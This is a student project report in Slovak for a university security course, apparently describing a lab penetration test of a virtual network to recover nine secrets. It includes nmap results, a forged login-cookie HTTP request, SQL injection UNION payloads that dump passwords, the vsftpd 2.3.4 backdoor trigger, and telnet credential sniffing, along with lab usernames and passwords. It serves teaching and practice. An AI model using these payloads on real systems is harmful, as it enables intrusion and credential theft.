BIS

Dokumentácia k projektu č. 1

Ladislav Šulák, xsulak04@stud.fit.vutbr.cz

0. Zmapovanie vnútornej siete

Po pripojení do siete pomocou privátneho kľúča som sa dostal na stroj s adresou **192.168.122.181** na port ***65181***. V nasledujúcom texte bude označovaný ako **localhost**. Po preskenovaní podsiete **192.168.122.0/24** som zistil, že sa tam nachádza okrem staníc ***xlogin00.local*** s otvoreným portom ***22*** (teda služba *ssh*) ešte jeden druh staníc, ktoré majú otvorené porty s rôznymi službami a niektoré z nich komunikujú aj rôzne medzi sebou:

ptest1.local

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 5.3 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.2.15 ((CentOS))
8080/tcp	open	http	Apache httpd 2.2.15 ((CentOS))

MAC Address: 52:54:00:BD:45:84 (QEMU Virtual NIC)

ptest2.local

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.3.4
22/tcp	open	ssh	OpenSSH 5.3 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.2.15 ((CentOS))
3306/tcp	open	mysql	MySQL (unauthorized)

MAC Address: 52:54:00:1B:9D:C1 (QEMU Virtual NIC)
Service Info: OS: Unix

ptest3.local

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 5.3 (protocol 2.0)
23/tcp	open	telnet	Linux telnetd

MAC Address: 52:54:00:50:8F:91 (QEMU Virtual NIC)
Service Info: OS: Linux

ptest4.local

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 5.3 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.2.15 ((CentOS))
41337/tcp	open	ftp	vsftpd 2.2.2

MAC Address: 52:54:00:59:22:D3 (QEMU Virtual NIC)
Service Info: OS: Unix

1. Tajomstvo A

Preskenovaním stanice **ptest1.local** na porte **8080** sme zistili nasledovné informácie:

8080/tcp open http Apache httpd 2.2.15 ((CentOS))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Infrastructure Monitoring
|_http-open-proxy: Proxy might be redirecting requests

Následne sme použili nástroj *netcat*, v ktorom sme zadali *HTTP* metódu *get* pre získanie dát z požadovanej adresy, čo bola webová stránka obsahujúca okrem formuláru a nejakých ďalších dodatočných informácií položku ***Set-Cookie: LOGGED_IN=False***. *Následne* sme zmenili túto položku na ***LOGGED_IN*=True** a to buď tak, že sme cez *ssh* pretunelovaním portu **8080** a jeho

následným povolením vo Firefoxe použili plugin *Data Tampering* na url a porte kde sa táto služba nachádza, prípadne jednoduhšie, cez nástroj *netcat*:

nc 192.168.122.138 8080
GET / HTTP/1.1
Host: 192.168.122.138
Cookie: LOGGED_IN=True

2. Tajomstvo B

Toto tajomstvo sme odhalili tak, že sme sa príhlásili pomocou *ssh* na stanicu **ptest1.local** a našli sme súbor **secret.txt** obsahujúci dané tajomstvo.
Meno užívateľa bolo *xsmith07* a heslo *Micak*, čo bolo objavené na webovej stránke, ktorú vrátila *HTTP* služba na porte **80** na tejto stanici.

3. Tajomstvo C

Pomocou nástroja nmap sme zistili, že sa na stanici **ptest2.local** nachádza okrem *HTTP* služby (port **80**) ešte *MySQL*. Webový server vrátil stránku obsahujúcu informácie o zamestnancoch, pričom cez vyhľadávacie políčko bolo možné vykonať útok typu **SQL Injection**.
V prvom kroku bolo nutné zistiť aký databázový dotaz sa používa (pomocou znakov pre ukončenie reťazca prípadne pre komentovanie) a následne zistiť aké tabuľky a stĺpce nás zaujímaju:

a" UNION SELECT table_name, column_name, column_name, column_key FROM information_schema.columns

Vzhľadom na to, že bola použitá databáza *MySQL*, ktorá je zabezpečená voči tzv. *stacked queries*, bola potreba vykonať iba jeden databázový dotaz. Pre túto potrebu sme využili *union:*

Admin" UNION SELECT auth.id, contact.id, contact.name, auth.passwd FROM auth, contact where auth.id=contact.id and auth.passwd LIKE "C%" -- "

4. Tajomstvo D

Na stanici **ptest2.local** bežala služba *FTP*, konkrétne **vsFTPd 2.3.4,** ktorá obsahuje zraniteľnosť pomocou ktorej je možné sa prihlásiť a otvoriť nový port. Stačí zadať meno a heslo v podobe alfanumerického znaku zakončeného dvojbodkou a uzatvárajúcou zátvorkou:

Connection to ptest2 21 port [tcp/ftp] succeeded!
220 (vsFTPd 2.3.4)
user s:)
331 Please specify the password.
pass s:)
220 Opened port 56109, take a look ;)

Následne použiť program *netcat* pre získanie tajomstva: *nc -v ptest2 56109*

5. Tajomstvo E

Na **localhoste** sa v zložke **~/.ssh** nachádzajú súbory obsahujúce klúče pre užívateľa *smith*. Okrem nich sa tam nachádza informácia o tom, že na prihlásenie nie je potrebné heslo. Naozaj, pomocou *ssh* je možné sa prihlásiť na stanicu **ptest3.local**. Tam sa nachádza nástroj *tcpdump* a aj služba *telnet*. Po odchytení komunikácie nasledovným spôsobom: *tcpdump -nnvvX 'tcp port telnet'* vidíme, že medzi stanicou **ptest1.local** a **ptest3.local** prebieha komunikácia v pravidelných intervaloch. Tá obsahuje prihlasovacie údaje v nezašifrovanej podobe – užívateľ **ada** a heslo **babb4ge**. Následným prihlásením sa na tohto užívateľa cez príkaz *'su – ada'* a zadaním získaného hesla je možné nájsť v domovskej zložke tohto užívateľa súbor **secret.txt** s ďalším tajomstvom.

6. Tajomstvo F

Pri skenovaní sieti bola objavená služba *FTP* na ďalšom porte, tento krát s omnoho vyšším číslom, teda na neštandardnom. Nachádza sa na stanici **ptest4.local** na porte **41337**. Konkrétne tam beží ***vsFTPd 2.2.2***, pomocou ktorého je možné dostať sa do súborového systému obsahujúceho tajomstvo v súbore **secret.txt**.
Realizované to bolo pomocou *ftp klienta*, ktorý sa nachádza aj na **localhoste** a obdržaním súboru s tajomstvom: *get secret.txt*
Pre úspešné prihlásenie je nutné zadať ako užívateľa *anonymous* s prázdnym heslom.

7. Tajomstvo G

Na **localhoste** je v domovskej zložke súbor *nes* odkazujúci sa na spustitelný súbor *zsnes*, ktorý nám pri jeho otvorení v editore *vi* zobrazí, že sa v zložke /root nachádza súbor **secret.txt**. Tam síce nemáme prístup, no našťastie je možné exploitovať spomínaný *zsnes*, zraniteľný na veľmi dlhý názov vstupného súboru, čím odhalujeme aj toto tajomstvo.

8. Tajomstvo H

Posledné 2 tajomstvá sa nachádzajú v metadátach súborov uložených na **ptest4.local**, pretože na porte **80** beží webová služba, ktorá ich sprístupňuje.
V adresári **/etc/raddb** sa nachádza súbor **sql.conf**, ktorý po nahliadnutí napríklad nástrojom *cat* odhaluje tajomstvo H.

9. Tajomstvo I

V adresári **/home/franta/Documents** je súbor **Internal.pdf**. Tajomstvo je možné nájsť buď pomocou editoru *vi*, alebo si stiahnuť daný súbor lokálne a skontrolovať metadáta v takmer ľubovolnom prehliadači dokumentov (*Adobe Reader*).